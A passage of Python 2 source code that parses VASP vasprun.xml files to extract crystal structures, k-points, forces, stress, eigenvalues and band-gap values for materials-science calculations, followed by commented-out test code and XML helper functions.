bugLev >= 5: print 'ialgo: %d' % (resObj.ialgo,) # numBand = nbands # Caution: in some cases NBANDS != eigenMrr['eigene'].shape[2] # So we use the eigene dimension instead. # See further below. prmNumBand = getScalar( elecNode, 'i[@name=\'NBANDS\']', int) if bugLev >= 5: print 'prmNumBand: %d' % (prmNumBand,) # numElectron = nelect # PyLada: vasp/extract/base.py: nelect() # OUTCAR: use the 1 occurance of: # NELECT = 48.0000 total number of electrons resObj.numElectron = getScalar( elecNode, 'i[@name=\'NELECT\']', float) if bugLev >= 5: print 'numElectron: %d' % (resObj.numElectron,) # icharg resObj.icharg = getScalar( elecNode, 'separator[@name=\'electronic startup\']/i[@name=\'ICHARG\']', int) if bugLev >= 5: print 'icharg: %g' % (resObj.icharg,) # numSpin == ispin resObj.numSpin = getScalar( elecNode, 'separator[@name=\'electronic spin\']/i[@name=\'ISPIN\']', int) if bugLev >= 5: print 'numSpin: %g' % (resObj.numSpin,) if bugLev >= 5: print '\n===== ionic parameters =====\n' # Some parameters like IBRION are also found in INCAR, sometimes. # But apparently they are always in the parameters section. lst = root.findall('parameters/separator[@name=\'ionic\']') if len(lst) != 1: throwerr('ionic parameters not found') ionNode = lst[0] resObj.ibrion = getScalar( ionNode, 'i[@name=\'IBRION\']', int) if bugLev >= 5: print 'ibrion: %g' % (resObj.ibrion,) if bugLev >= 5: print '\n===== atom info =====\n' # atomTypeMrr = map containing array. Example (some whitespace omitted): # _dimLens: [2] # _dimNames: ['type'] # _fieldNames: ['atomspertype' 'element' 'mass' 'valence' 'pseudopotential'] # _fieldTypes: ['i' 's' 'f' 'f' 's'] # atomspertype: [1 4] # element: ['C ' 'Fe'] # mass: [ 12.011 55.847] # valence: [ 4. 8.] # pseudopotential: [' PAW_PBE C_s 06Sep2000 ' ' PAW_PBE Fe 06Sep2000 '] atomTypeMrr = getArrayByPath( bugLev, root, 'atominfo/array[@name=\'atomtypes\']') resObj.typeNames = atomTypeMrr['element'] resObj.typeNums = atomTypeMrr['atomspertype'] resObj.typeMasses_amu = atomTypeMrr['mass'] resObj.typeValences = atomTypeMrr['valence'] resObj.typePseudos = atomTypeMrr['pseudopotential'] if bugLev >= 5: print '\natomTypeMrr:' printMrr( atomTypeMrr) print '\nunsorted atomTypes:' print 'typeNames: %s' % ( resObj.typeNames,) print 'typeNums: %s' % ( resObj.typeNums,) print 'typeMasses_amu: %s' % ( resObj.typeMasses_amu,) print 'typeValences: %s' % ( resObj.typeValences,) print 'typePseudos: %s' % ( resObj.typePseudos,) # Sort parallel arrays typeNames, typeNums, etc, # by typeNames alphabetic order, # using an index sort with tpIxs. # In rare cases like icsd_024360.cif/hs-ferro # the names are out of order. # Sort to set tpIxs[newIx] == oldIx. ntype = len( resObj.typeNames) tpIxs = range( ntype) def sortFunc( ia, ib): return cmp( resObj.typeNames[ia], resObj.typeNames[ib]) tpIxs.sort( sortFunc) if bugLev >= 5: print 'tpIxs: %s' % (tpIxs,) resObj.typeNames = [resObj.typeNames[ix] for ix in tpIxs] resObj.typeNums = [resObj.typeNums[ix] for ix in tpIxs] resObj.typeMasses_amu = [resObj.typeMasses_amu[ix] for ix in tpIxs] resObj.typeValences = [resObj.typeValences[ix] for ix in tpIxs] resObj.typePseudos = [resObj.typePseudos[ix] for ix in tpIxs] if bugLev >= 5: print '\nsorted atomTypes:' print 'typeNames: %s' % ( resObj.typeNames,) print 'typeNums: %s' % ( resObj.typeNums,) print 'typeMasses_amu: %s' % ( resObj.typeMasses_amu,) print 'typeValences: %s' % ( resObj.typeValences,) print 'typePseudos: %s' % ( resObj.typePseudos,) # totalValence = sum( count[i] * valence[i]) # PyLada calls this valence. resObj.totalValence = np.dot( resObj.typeNums, resObj.typeValences) if bugLev >= 5: print 'totalValence: %g' % (resObj.totalValence,) if resObj.numElectron != resObj.totalValence: throwerr('%g == numElectron != totalValence == %g' \ % (resObj.numElectron, resObj.totalValence,)) # atomMrr = map containing array. Example: # _dimLens: [5] # _dimNames: ['ion'] # _fieldNames: ['element' 'atomtype'] # _fieldTypes: ['s' 'i'] # element: ['C ' 'Fe' 'Fe' 'Fe' 'Fe'] # atomtype: [1 2 2 2 2] atomMrr = getArrayByPath( bugLev, root, 'atominfo/array[@name=\'atoms\']') atomNames = atomMrr['element'] atomTypes = [ix - 1 for ix in atomMrr['atomtype']] # change to origin 0 natom = len( atomTypes) if bugLev >= 5: print '\natomMrr:' printMrr( atomMrr) print '\nunsorted atoms:' print 'atomNames: %s' % ( atomNames,) print 'atomTypes: %s' % ( atomTypes,) # The permutation array tpIxs maps tpIxs[newIx] = oldIx. # Invert it to get tpIxInvs[oldIx] = newIx. tpIxInvs = ntype * [0] for ii in range( ntype): tpIxInvs[ tpIxs[ii]] = ii if bugLev >= 5: print 'tpIxInvs: %s' % (tpIxInvs,) # Sort atomNames, atomTypes by tpIxInvs[atomtype] so they # are in the same order as typenames, typenums, etc, above. # Currently atomType[i] = old index num into atomTypes. # We want to sort by new index num into atomTypes. atomIxs = range( natom) def sortFunc( ia, ib): return cmp( tpIxInvs[ atomTypes[ ia]], tpIxInvs[ atomTypes[ ib]]) atomIxs.sort( sortFunc) atomNames = [atomNames[ix] for ix in atomIxs] atomTypes = [tpIxInvs[ atomTypes[ix]] for ix in atomIxs] if bugLev >= 5: print '\natomIxs: %s' % (atomIxs,) print '\nsorted atoms:' print 'atomNames: %s' % ( atomNames,) print 'atomTypes: %s' % ( atomTypes,) resObj.atomNames = atomNames resObj.atomTypes = atomTypes resObj.atomMasses_amu = natom * [None] resObj.atomValences = natom * [None] resObj.atomPseudos = natom * [None] for ii in range( natom): ix = atomTypes[ii] if resObj.atomNames[ii] != resObj.typeNames[ix]: throwerr('name mismatch') resObj.atomMasses_amu[ii] = resObj.typeMasses_amu[ix] resObj.atomValences[ii] = resObj.typeValences[ix] resObj.atomPseudos[ii] = resObj.typePseudos[ix] if bugLev >= 5: print 'atomNames: %s' % ( resObj.atomNames,) print 'atomTypes: %s' % ( resObj.atomTypes,) print 'atomMasses_amu: %s' % ( resObj.atomMasses_amu,) print 'atomValences: %s' % ( resObj.atomValences,) print 'atomPseudos: %s' % ( resObj.atomPseudos,) # Make sure typenames are in alphabetic order for ii in range(len(resObj.typeNames) - 1): if resObj.typeNames[ii] > resObj.typeNames[ii+1]: throwerr('typeNames not in order') # Make sure atomnames are in alphabetic order for ii in range(len(resObj.atomNames) - 1): if resObj.atomNames[ii] > resObj.atomNames[ii+1]: throwerr('atomNames not in order') if bugLev >= 5: print '\n===== initial structure =====\n' # Initial structure # PyLada: vasp/extract/base.py: initial_structure() # OUTCAR: uses the appended INITIAL STRUCTURE section. lst = root.findall( 'structure[@name=\'initialpos\']/crystal/varray[@name=\'basis\']/v') if bugLev >= 5: print 'len(lst) a:', len(lst) # initial_structure # POSCAR specifies each basis vector as one row. # So does vasprun.xml. # But PyLada's structure.cell is the transpose: each basis vec is a column. resObj.initialBasisMat = getRawArray( root, 'structure[@name=\'initialpos\']/crystal/varray[@name=\'basis\']/v', 3, 3, float) resObj.initialRecipBasisMat = getRawArray( root, 'structure[@name=\'initialpos\']/crystal/varray[@name=\'rec_basis\']/v', 3, 3, float) resObj.initialFracPosMat = getRawArray( root, 'structure[@name=\'initialpos\']/varray[@name=\'positions\']/v', 0, 3, float) # xxx nrow should be natom resObj.initialCartPosMat = np.dot( resObj.initialFracPosMat, resObj.initialBasisMat) # xxx mult by scale factor? if bugLev >= 5: print 'initialBasisMat:\n%s' % (repr(resObj.initialBasisMat),) print 'initialRecipBasisMat:\n%s' % (repr(resObj.initialRecipBasisMat),) print 'initialFracPosMat:\n%s' % (repr(resObj.initialFracPosMat),) print 'initialCartPosMat:\n%s' % (repr(resObj.initialCartPosMat),) if bugLev >= 5: print '\n===== final structure =====\n' # structure == final pos # POSCAR and OUTCAR specify each basis vector as one row. # So does vasprun.xml. # But PyLada's structure.cell is the transpose: each basis vec is a column. # # In vasprun.xml and OUTCAR, the basis vectors are rows. resObj.finalBasisMat = getRawArray( root, 'structure[@name=\'finalpos\']/crystal/varray[@name=\'basis\']/v', 3, 3, float) resObj.finalRecipBasisMat = getRawArray( root, 'structure[@name=\'finalpos\']/crystal/varray[@name=\'rec_basis\']/v', 3, 3, float) resObj.finalFracPosMat = getRawArray( root, 'structure[@name=\'finalpos\']/varray[@name=\'positions\']/v', 0, 3, float) # xxx nrow should be natom resObj.finalCartPosMat = np.dot( resObj.finalFracPosMat, resObj.finalBasisMat) # xxx mult by scale factor? if bugLev >= 5: print 'finalBasisMat:\n%s' % (repr(resObj.finalBasisMat),) print 'finalRecipBasisMat:\n%s' % (repr(resObj.finalRecipBasisMat),) print 'finalFracPosMat:\n%s' % (repr(resObj.finalFracPosMat),) print 'finalCartPosMat:\n%s' % (repr(resObj.finalCartPosMat),) if bugLev >= 5: print '\n===== kpoints =====\n' # kpoint coordinates. # Not in PyLada? resObj.kpointFracMat = getRawArray( root, 'kpoints/varray[@name=\'kpointlist\']/v', 0, 3, float) resObj.numKpoint = resObj.kpointFracMat.shape[0] resObj.kpointCartMat \ = np.dot( resObj.kpointFracMat, resObj.initialRecipBasisMat) if bugLev >= 5: print 'numKpoint: %g' % (resObj.numKpoint,) print 'kpointFracMat:\n%s' % (repr(resObj.kpointFracMat),) print 'kpointCartMat:\n%s' % (repr(resObj.kpointCartMat),) # This is what PyLada calls multiplicity. # The only diff is the scaling. # sum( Pylada multiplicity) = numKpoint # sum( our kpointWeights) = 1.0 resObj.kpointWeights = getRawArray( root, 'kpoints/varray[@name=\'weights\']/v', 0, 1, float) resObj.kpointWeights = resObj.kpointWeights[:,0] # Only 1 col in 2d array if resObj.kpointWeights.shape[0] != resObj.numKpoint: throwerr('numKpoint mismatch') if bugLev >= 5: print 'kpointWeights:\n%s' % (repr(resObj.kpointWeights),) print 'kpointWeights sum: %g' % (sum(resObj.kpointWeights),) if bugLev >= 5: print '\n===== final volume and density =====\n' # volume, Angstrom^3 # The scale is hard coded as 1.0 in PyLada crystal/read.py, # in both icsd_cif_a and icsd_cif_b. volScale = 1.0 resObj.finalVolumeCalc_ang3 = abs( np.linalg.det( volScale * resObj.finalBasisMat)) if bugLev >= 5: print 'finalVolumeCalc_ang3: %g' % (resObj.finalVolumeCalc_ang3,) resObj.finalVolume_ang3 = getScalar( root, 'structure[@name=\'finalpos\']/crystal/i[@name=\'volume\']', float) if bugLev >= 5: print 'finalVolume_ang3: %g' % (resObj.finalVolume_ang3,) # reciprocal space volume, * (2*pi)**3 # As in PyLada. invMat = np.linalg.inv( volScale * resObj.finalBasisMat) resObj.recipVolume = abs( np.linalg.det( invMat)) * (2 * np.pi)**3 if bugLev >= 5: print 'recipVolume: origMat:\n%s' \ % (repr(volScale * resObj.finalBasisMat),) print 'recipVolume: invMat:\n%s' % (repr(invMat),) print 'recipVolume: det:\n%s' % (repr(np.linalg.det( invMat)),) print 'recipVolume: %g' % (resObj.recipVolume,) # Density # xxx better: get atomic weights from periodic table volCm = resObj.finalVolumeCalc_ang3 / (1.e8)**3 # 10**8 Angstrom per cm totMass = np.dot( atomTypeMrr['atomspertype'], atomTypeMrr['mass']) totMassGm = totMass * 1.660538921e-24 # 1.660538921e-24 g / amu resObj.finalDensity_g_cm3 = totMassGm / volCm if bugLev >= 5: print 'volCm: %g' % (volCm,) print 'totMassGm: %g' % (totMassGm,) print 'finalDensity_g_cm3: %g' % (resObj.finalDensity_g_cm3,) if bugLev >= 5: print '\n===== last calc forces =====\n' resObj.finalForceMat_ev_ang = getRawArray( root, 'calculation[last()]/varray[@name=\'forces\']/v', 0, 3, float) if bugLev >= 5: print 'finalForceMat_ev_ang:\n%s' % (repr(resObj.finalForceMat_ev_ang),) # Get stress resObj.finalStressMat_kbar = getRawArray( root, 'calculation[last()]/varray[@name=\'stress\']/v', 3, 3, float) if bugLev >= 5: print 'finalStressMat_kbar:\n%s' % (repr(resObj.finalStressMat_kbar),) # Calc pressure # xxx Caution: we do not include the non-diag terms in: # VASP: force.F: FORCE_AND_STRESS: line 1410: # PRESS=(TSIF(1,1)+TSIF(2,2)+TSIF(3,3))/3._q & # & -DYN%PSTRESS/(EVTOJ*1E22_q)*LATT_CUR%OMEGA diag = [resObj.finalStressMat_kbar[ii][ii] for ii in range(3)] resObj.finalPressure_kbar = sum( diag) / 3.0 if bugLev >= 5: print 'finalPressure_kbar: %g' % (resObj.finalPressure_kbar,) if bugLev >= 5: print '\n===== eigenvalues and occupancies =====\n' # PyLada: eigenvalues eigenMrr = getArrayByPath( bugLev, root, 'calculation[last()]/eigenvalues/array') if bugLev >= 5: print '\neigenMrr beg =====:' printMrr( eigenMrr) print '\neigenMrr end =====:' for isp in range( resObj.numSpin): print '\neigenMrr: eigene[isp=%d][0]\n%s' \ % (isp, repr(eigenMrr['eigene'][isp][0]),) print '\neigenMrr: occ[isp=%d][0]\n%s' \ % (isp, repr(eigenMrr['occ'][isp][0]),) shp = eigenMrr['_dimLens'] if shp[0] != resObj.numSpin: throwerr('numSpin mismatch') if shp[1] != resObj.numKpoint: throwerr('numKpoint mismatch') if shp[2] != prmNumBand: # see caution at prmNumBand, above print('numBand mismatch: prm: %d shape: %d inFile: %s' \ % (prmNumBand, shp[2], inFile,)) resObj.numBand = shp[2] resObj.eigenMat = eigenMrr['eigene'] # Caution: for non-magnetic (numSpin==1), # OUTCAR has occupMat values = 2, while vasprun.xml has values = 1. # For magnetic (numSpin==2), both OUTCAR and vasprun.xml have 1. resObj.occupMat = eigenMrr['occ'] if resObj.numSpin == 1: resObj.occupMat *= 2 if bugLev >= 5: print 'resObj.eigenMat.shape: ', resObj.eigenMat.shape print 'resObj.occupMat.shape: ', resObj.occupMat.shape # Compare projected and standard eigenvalues getProjected = False if getProjected: for isp in range( resObj.numSpin): projEigenMrr = getArrayByPath( bugLev, root, 'calculation[last()]/projected/eigenvalues/array') # eigs and projected eigs are identical eigs = resObj.eigenMrr['eigene'][isp] peigs = projEigenMrr['eigene'][isp] if bugLev >= 5: print 'Compare iegs, peigs for isp: %d' % (isp,) print ' eigs.shape: ', eigs.shape print ' peigs.shape: ', peigs.shape print ' eigs[0,:]: ', eigs[0,:] print ' peigs[0,:]: ', peigs[0,:] print ' Diff projeigs - eigs: max maxabs: %g' \ % (max( map( max, abs(peigs - eigs))),) # occs and projected occs are identical occs = resObj.eigenMrr['occ'][isp] poccs = projEigenMrr['occ'][isp] if bugLev >= 5: print 'Compare occs, poccs for isp: %d' % (isp,) print ' occs.shape: ', occs.shape print ' poccs.shape: ', poccs.shape print ' occs[0,:]: ', occs[0,:] print ' poccs[0,:]: ', poccs[0,:] print ' Diff projoccs - occs: max maxabs: %g' \ % (max( map( max, abs(poccs - occs))),) if bugLev >= 5: print '\n===== misc junk =====\n' # PyLada: vasp/extract/base.py: is_gw() resObj.isGw = False if resObj.algo in ['gw', 'gw0', 'chi', 'scgw', 'scgw0']: resObj.isGw = True if bugLev >= 5: print 'isGw: %s' % (resObj.isGw,) # PyLada: vasp/extract/base.py: is_dft() resObj.isDft = not resObj.isGw if bugLev >= 5: print 'isDft: %s' % (resObj.isDft,) # functional: comes from appended FUNCTIONAL. # success: look for final section # General timing and accounting informations for this job: # xxx skip: Hubbard / NLEP if bugLev >= 5: print '\n===== energy, efermi0 =====\n' resObj.energyNoEntrp = getScalar( root, 'calculation[last()]/energy/i[@name=\'e_wo_entrp\']', float) # efermi0 # PyLada uses an algorithm to compare the sum of occupancies # to the valence. # We get it from the xml file here. # PyLada: 5.8574 # XML: 5.93253 resObj.efermi0 = getScalar( root, 'calculation[last()]/dos/i[@name=\'efermi\']', float) if bugLev >= 5: print 'efermi0: %g' % (resObj.efermi0,) if bugLev >= 5: print '\n===== cbMin, vbMax, bandgap =====\n' # Find cbm = min of eigs > efermi0 # Find vbm = max of eigs <= efermi0 cbms = resObj.numSpin * [np.inf] vbms = resObj.numSpin * [-np.inf] cbmKpis = resObj.numSpin * [None] vbmKpis = resObj.numSpin * [None] for isp in range( resObj.numSpin): eigs = resObj.eigenMat[isp] for ikp in range( resObj.numKpoint): for iband in range( resObj.numBand): val = eigs[ikp][iband] if val > resObj.efermi0: cbms[isp] = min( cbms[isp], val) cbmKpis[isp] = ikp if val <= resObj.efermi0: vbms[isp] = max( vbms[isp], val) vbmKpis[isp] = ikp cbms = map( float, cbms) # change type from numpy.float64 to float vbms = map( float, vbms) # change type from numpy.float64 to float resObj.cbms = cbms resObj.vbms = vbms resObj.cbmKpis = cbmKpis resObj.vbmKpis = vbmKpis resObj.cbMin = min( cbms) # This is PyLada's cbm resObj.vbMax = max( vbms) # This is PyLada's vbm resObj.bandgaps = [ (cbms[ii] - vbms[ii]) for ii in range( resObj.numSpin)] resObj.bandgapa = min( resObj.bandgaps) resObj.bandgap = resObj.cbMin - resObj.vbMax # This is PyLada version if bugLev >= 5: print 'cbmKpis: %s cbms: %s' % (cbmKpis, cbms,) print 'vbmKpis: %s vbms: %s' % (vbmKpis, vbms,) print 'cbMin: %g' % (resObj.cbMin,) print 'vbMax: %g' % (resObj.vbMax,) print 'bandgaps: %s' % (resObj.bandgaps,) print 'bandgapa: %g' % (resObj.bandgapa,) print 'bandgap: %g' % (resObj.bandgap,) # xxx # delta between cbmIndex, vbmIndex # print kpoints coords. which is gamma, etc? # is any of frasier med exp? return ########################### End of parseXml ############################### # The following code was used for initial testing, # and who knows, someday may be useful again. #print '\n' #print '\ntesta:' #lst = root.findall('kpoints/generation/v[@name=\'genvec2\']') #amat = [] #for ele in lst: # text = ele.text # print ' ele.text: %s' % (text,) # toks = text.split() # vals = map( float, toks) # amat.append( vals) #print 'amat: %s' % (amat,) #amat = np.array( amat, dtype=float) #print 'amat:\n%s' % (amat,) #vec = getVec( root, 'kpoints/generation/v[@name=\'genvec2\']', 0, 0, float) #print 'vec:\n%s' % (vec,) #amat = getRawArray( root, 'kpoints/generation/v', 0, 0, float) #print 'amat:\n%s' % (amat,) #calcNodes = root.findall('calculation') #print '\nlen(calcNodes): %d' % (len(calcNodes,)) ## pairs: (itot, en_wo_entrp) for the energy of each scstep #scstep_withouts = [] ## pairs: (itot, en_wo_entrp) for the last energy of each calculation step #calcstep_withouts = [] #basisMats = [] #recipBasisMats = [] #posMats = [] #forceMats = [] #stressMats = [] #itot = 0 # index all scsteps, across calculations #ncalc = len( calcNodes) #for icalc in range( ncalc): # cnode = calcNodes[icalc] # forceMat = getRawArray( cnode, 'varray[@name=\'forces\']/v', 0, 0, float) # print '\nforceMat for calcNodes[%d]:\n%s' % (icalc, forceMat,) # scNodes = cnode.findall('scstep') # print ' len(scNodes): %d' % (len(scNodes,)) # for isc in range(len(scNodes)): # snode = scNodes[isc] # sc_e_fr = getScalar( snode, 'energy/i[@name=\'e_fr_energy\']', float) # sc_e_wo = getScalar( snode, 'energy/i[@name=\'e_wo_entrp\']', float) # sc_e_0 = getScalar( snode, 'energy/i[@name=\'e_0_energy\']', float) # print ' scNodes[%d]: sc_e_fr: %g sc_e_wo: %g sc_e_0: %g' \ # % (isc, sc_e_fr, sc_e_wo, sc_e_0,) # scstep_withouts.append( (itot, sc_e_wo,)) # itot += 1 # # Structure for this calculation step # strucNodes = cnode.findall('structure') # if len(strucNodes) != 1: throwerr('calc structure not found') # snode = strucNodes[0] # basisMat = getRawArray( # snode, 'crystal/varray[@name=\'basis\']/v', 3, 3, float) # recipBasisMat = getRawArray( # snode, 'crystal/varray[@name=\'rec_basis\']/v', 3, 3, float) # # xxx should be nrow = num atoms # posMat = getRawArray( # snode, 'varray[@name=\'positions\']/v', 0, 3, float) # print ' Calc final: basisMat:\n%s' % (basisMat,) # print ' Calc final: recipBasisMat:\n%s' % (recipBasisMat,) # print ' Calc final: posMat:\n%s' % (posMat,) # basisMats.append( basisMat) # recipBasisMats.append( recipBasisMat) # posMats.append( posMat) # # Forces for this calculation step # forceNodes = cnode.findall('varray[@name=\'forces\']') # if len(forceNodes) != 1: throwerr('calc forces not found') # forceMat = getRawArray( forceNodes[0], 'v', 0, 3, float) # print ' Calc final: forceMat:\n%s' % (forceMat,) # forceMats.append( forceMat) # # Stress for this calculation step # stressNodes = cnode.findall('varray[@name=\'stress\']') # if len(stressNodes) != 1: throwerr('calc stresses not found') # stressMat = getRawArray( stressNodes[0], 'v', 3, 3, float) # print ' Calc final: stressMat:\n%s' % (stressMat,) # stressMats.append( stressMat) # # Final energy for this calculation step # enNodes = cnode.findall('energy') # if len(enNodes) != 1: throwerr('calc energy not found') # enode = enNodes[0] # c_e_fr = getScalar( enode, 'i[@name=\'e_fr_energy\']', float) # c_e_wo = getScalar( enode, 'i[@name=\'e_wo_entrp\']', float) # c_e_0 = getScalar( enode, 'i[@name=\'e_0_energy\']', float) # print ' Calc final: c_e_fr: %g c_e_wo: %g c_e_0: %g' \ # % (c_e_fr, c_e_wo, c_e_0,) # calcstep_withouts.append( (itot - 1, c_e_wo,)) #print '' #print 'scstep_withouts: %s' % (scstep_withouts,) #print '' #print 'calcstep_withouts: %s' % (calcstep_withouts,) #scmat = np.array( scstep_withouts, dtype=float) #print '' #print 'scmat:\n%s' % (scmat,) #calcmat = np.array( calcstep_withouts, dtype=float) #print '' #print 'calcmat:\n%s' % (calcmat,) #print '' #print 'Investigate DOS' #icals = len(calcNodes) - 1 #cnode = calcNodes[icalc] #setNodes = cnode.findall('dos/total/array/set/set[@comment=\'spin 1\']') #print ' len(total setNodes): %d' % (len(setNodes),) #print ' setNodes[0]: %s' % (setNodes[0],) #if len(setNodes) != 1: throwerr('dos/total not found') #dosTotalMat = getRawArray( setNodes[0], 'r', 0, 0, float) #print '' #print 'type(dosTotalMat): ', type(dosTotalMat) #print 'dosTotalMat.shape: ', dosTotalMat.shape #print '' #print 'dosTotalMat:\n%s' % (dosTotalMat,) #dosPartialMats = [] #partialSetNodes = cnode.findall('dos/partial/array/set') #print ' len(partialSetNodes): %d' % (len(partialSetNodes),) #if len(partialSetNodes) != 1: throwerr('dos/partial not found') #partialSet = partialSetNodes[0] #ionNodes = partialSet.findall('set') #print ' len(ionNodes): %d' % (len(ionNodes),) ## xxx should be nrow = num atoms #for ii in range(len(ionNodes)): # dosPartialMat = getRawArray( # ionNodes[ii], 'set[@comment=\'spin 1\']/r', 0, 0, float) # print '' # print 'dosPartialMat %d:' % (ii,) # print 'type(dosPartialMat): ', type(dosPartialMat) # print 'dosPartialMat.shape: ', dosPartialMat.shape # print '' # print 'dosPartialMat:\n%s' % (dosPartialMat,) # dosPartialMats.append( dosPartialMat) #print 'len(dosPartialMats): %d' % (len(dosPartialMats),) #print '\nbasisMats: len: %d' % (len(basisMats),) #for mat in basisMats: print '%s' % (mat,) #print '\nrecipBasisMats: len: %d' % (len(recipBasisMats),) #for mat in recipBasisMats: print '%s' % (mat,) #print '\nposMats: len: %d' % (len(posMats),) #for mat in posMats: print '%s' % (mat,) #print '\nforceMats: len: %d' % (len(forceMats),) #for mat in forceMats: print '%s' % (mat,) #print '\nstressMats: len: %d' % (len(stressMats),) #for mat in stressMats: print '%s' % (mat,) #basisDeltas = calcMatDeltas( basisMats) #recipBasisDeltas = calcMatDeltas( recipBasisMats) #posDeltas = calcMatDeltas( posMats) #forceDeltas = calcMatDeltas( forceMats) #stressDeltas = calcMatDeltas( stressMats) #print 'basisDeltas: %s' % ( basisDeltas,) #print 'recipBasisDeltas: %s' % ( recipBasisDeltas,) #print 'posDeltas: %s' % ( posDeltas,) #print 'forceDeltas: %s' % ( forceDeltas,) #print 'stressDeltas: %s' % ( stressDeltas,) #import matplotlib #matplotlib.use('tkagg') #import matplotlib.pyplot as plt #fig, axes = plt.subplots( 1, 1) ###ax00 = axes[0,0] #ax00 = axes #ax00.plot( dosTotalMat[:,0], dosTotalMat[:,1], color='r', linestyle='-', # marker=None) #ax00.set_xlabel('Energy, eV') #ax00.set_ylabel('Number of states per unit cell') #ax00.set_title('Density of states') #ax00.xaxis.grid(color='lightblue', linestyle='solid') #ax00.yaxis.grid(color='lightblue', linestyle='solid') ##plt.show() ##fig, ax = plt.subplots() ## ##ax.plot( scmat[:,0], scmat[:,1], 'b-') ##ax.plot( calcmat[:,0], calcmat[:,1], 'bo') ##ax.set_ylim( calcmat[-1,1] - 5, calcmat[-1,1] + 5) ##ax.xaxis.grid(color='lightblue', linestyle='solid') ##ax.yaxis.grid(color='lightblue', linestyle='solid') ## ##savefig('tempa.png', dpi=100, orientation='landscape', papertype='letter') ## ##plt.show() #tnodes = root.findall('calculation[last()]') #printNode( tnodes[0], 0, 1) #tnodes = root.findall('calculation[last()]/eigenvalues') #printNode( tnodes[0], 0, 1) #tnodes = root.findall('calculation[last()]/eigenvalues/array') #printNode( tnodes[0], 0, 1) #res = getArrayByPath( # bugLev, root, 'calculation[last()]/eigenvalues/array') #print '\ncalculation[last()]/eigenvalues:\n%s' % (res,) #print '\n' #==================================================================== def printNode( node, curLev, maxLev): ''' Recursively prints an XML tree, given an xml.etree.cElementTree node. **Parameters**: * node (xml.etree.ElementTree.Element): The root of the XML tree. * curLev (int): The current recursion level. Starts at 0 and is incremented for each recursive call. * maxLev (int): The max number of levels to print **Returns**: * None ''' if curLev <= maxLev: if node.tail == None: tail = 'None' else: tail = '"%s"' % (node.tail.strip(),) if node.text == None: text = 'None' else: text = '"%s"' % (node.text.strip(),) print '%stag: %s attrib: %s tail: %s text: %s' \ % (curLev * ' ', node.tag, node.attrib, tail, text,) for kid in node: printNode( kid, curLev + 1, maxLev) #==================================================================== def parseText( path, nmin, nmax, dtype, text): ''' Splits ``text`` into tokens, and converts each token to ``dtype``. Called by getVec, getRawArray. **Parameters**: * path (str): the XML tree path to the current node, for error msgs. * nmin (int): the minimum num tokens. If fewer are found, throwerr. * nmax (int): the maximum num tokens. If more are found, throwerr. * dtype (python type): Either int, float, or str: the tokens are converted to dtype. * text (str): the text string to be split. **Returns**: * list of tokens each having type = dtype. ''' toks = text.split() ntok = len( toks) if ntok < nmin: throwerr('ntok < nmin for path: "%s" text: "%s"' % (path, text,)) if nmax > 0 and ntok > nmax: throwerr('ntok > nmax for path: "%s" text: "%s"' % (path, text,)) vals = ntok * [None] for ii in range(ntok): tok = toks[ii] if dtype == int: try: val = int( tok) except ValueError, exc: throwerr('invalid int in path: "%s" text: "%s"' % (path, text,)) elif dtype == float: try: val = float( tok) except ValueError, exc: throwerr('invalid float in path: "%s" text: "%s"' % (path, text,)) elif dtype == str: val = tok else: throwerr('unknown dtype for path: "%s"' % (path,)) vals[ii] = val return vals #==================================================================== def getVec( root, path, nmin, nmax, dtype): ''' Gets text at the specified XML path, splits, and converts tokens ``dtype``. **Parameters**: * root (xml.etree.ElementTree.Element): The current XML node. * path (str): the XML path from the current node. * nmin (int): the minimum num tokens. If fewer are found, throwerr. * nmax (int): the maximum num tokens. If more are found, throwerr. * dtype (python type): Either int, float, or str: the tokens are converted to dtype. **Returns**: * list of tokens each having type = dtype. ''' text = getString( root, path) vals = parseText( path, nmin, nmax, dtype, text) return vals #==================================================================== # Return stripped string def getString( root, path): ''' Gets text at the specified XML path, insures there's just 1, and returns it. **Parameters**: * root (xml.etree.ElementTree.Element): The current XML node. * path (str): the XML path from the current node. **Returns**: * stripped string. ''' lst = root.findall( path) if len(lst) == 0: throwerr('path not found: "%s"' % (path,)) if len(lst) > 1: throwerr('multiple matches for path: "%s"' % (path,)) ele = lst[0] text = ele.text return text.strip() #==================================================================== def getScalar( root, path, dtype): ''' Gets text at the specified XML path, and converts it to ``dtype``. **Parameters**: * root (xml.etree.ElementTree.Element): The current XML node. * path (str): the XML path from the current node. * dtype (python type): Either int, float, or str: the token is converted to dtype. **Returns**: * item having type = dtype. ''' lst = getVec( root, path, 1, 1, dtype) return lst[0] #==================================================================== def getRawArray( root, path, nrow, ncol, dtype): ''' Gets text at the specified XML path, and converts to a 2D numpy array of ``dtype``. The text must be organized as one text element per row. **Parameters**: * root (xml.etree.ElementTree.Element): The current XML node. * path (str): the XML path from the current node. * nrow (int): the number of rows. If 0, allow any number. * ncol (int): the number of columns. If 0, allow any number. * dtype (python type): Either int, float, or str: the tokens are converted to dtype. **Returns**: * A regular 2-dimensional numpy array of dtype. ''' lst = root.findall( path) nlst = len( lst) if nlst == 0: throwerr('path not found: "%s"' % (path,)) if nrow > 0 and nlst != nrow: throwerr('nrow mismatch for path: "%s". expected: %d found: %d' \ % (path, nrow, nlst,)) rows = [] for ii in range(nlst): ele = lst[ii] text = ele.text vals = parseText( path, 0, 0, dtype, text) if len(rows) == 0: ncolActual = len( vals) if len(vals) != ncolActual: throwerr('irregular array for path: "%s"' % (path,)) if ncol > 0 and ncolActual != ncol: throwerr('ncol mismatch path: "%s"' % (path,)) rows.append( vals) if dtype == int: amat = np.array( rows, dtype=int) elif dtype == float: amat = np.array( rows, dtype=float) else: throwerr('unknown dtype for path: "%s"' % (path,)) return amat #==================================================================== def getArrayByPath( bugLev, baseNode, path): ''' Converts an XML ``<array>`` element in vasprun.xml to a map with an array. See :func:`getArrayByNode` for details. **Parameters**: * bugLev (int): Debug level. Normally 0. * baseNode (xml.etree.ElementTree.Element): current XML node * path (str): XML path from baseNode for the ``<array>`` element. **Returns**: * A Python array ''' arrNodes = baseNode.findall( path) if len(arrNodes) != 1: throwerr('path not found') res = getArrayByNode( bugLev, arrNodes[0]) return res #==================================================================== # Returns Mrr == map containing array, like: # atomMrr: # _dimLens: [6] # _dimNames: ['ion'] # _fieldNames: ['element', 'atomtype'] # _fieldTypes: ['s', 'i'] # element: ['Mo' 'Mo' 'S' 'S' 'S' 'S'] # atomtype: [1 1 2 2 2 2] def getArrayByNode( bugLev, arrNode): ''' Converts an XML ``<array>`` element in vasprun.xml to a map with an array. Calls getArraySub to extract each field. The output Python map has the following structure: ============= ======================================================== key value ============= ======================================================== _dimLens numpy vec of 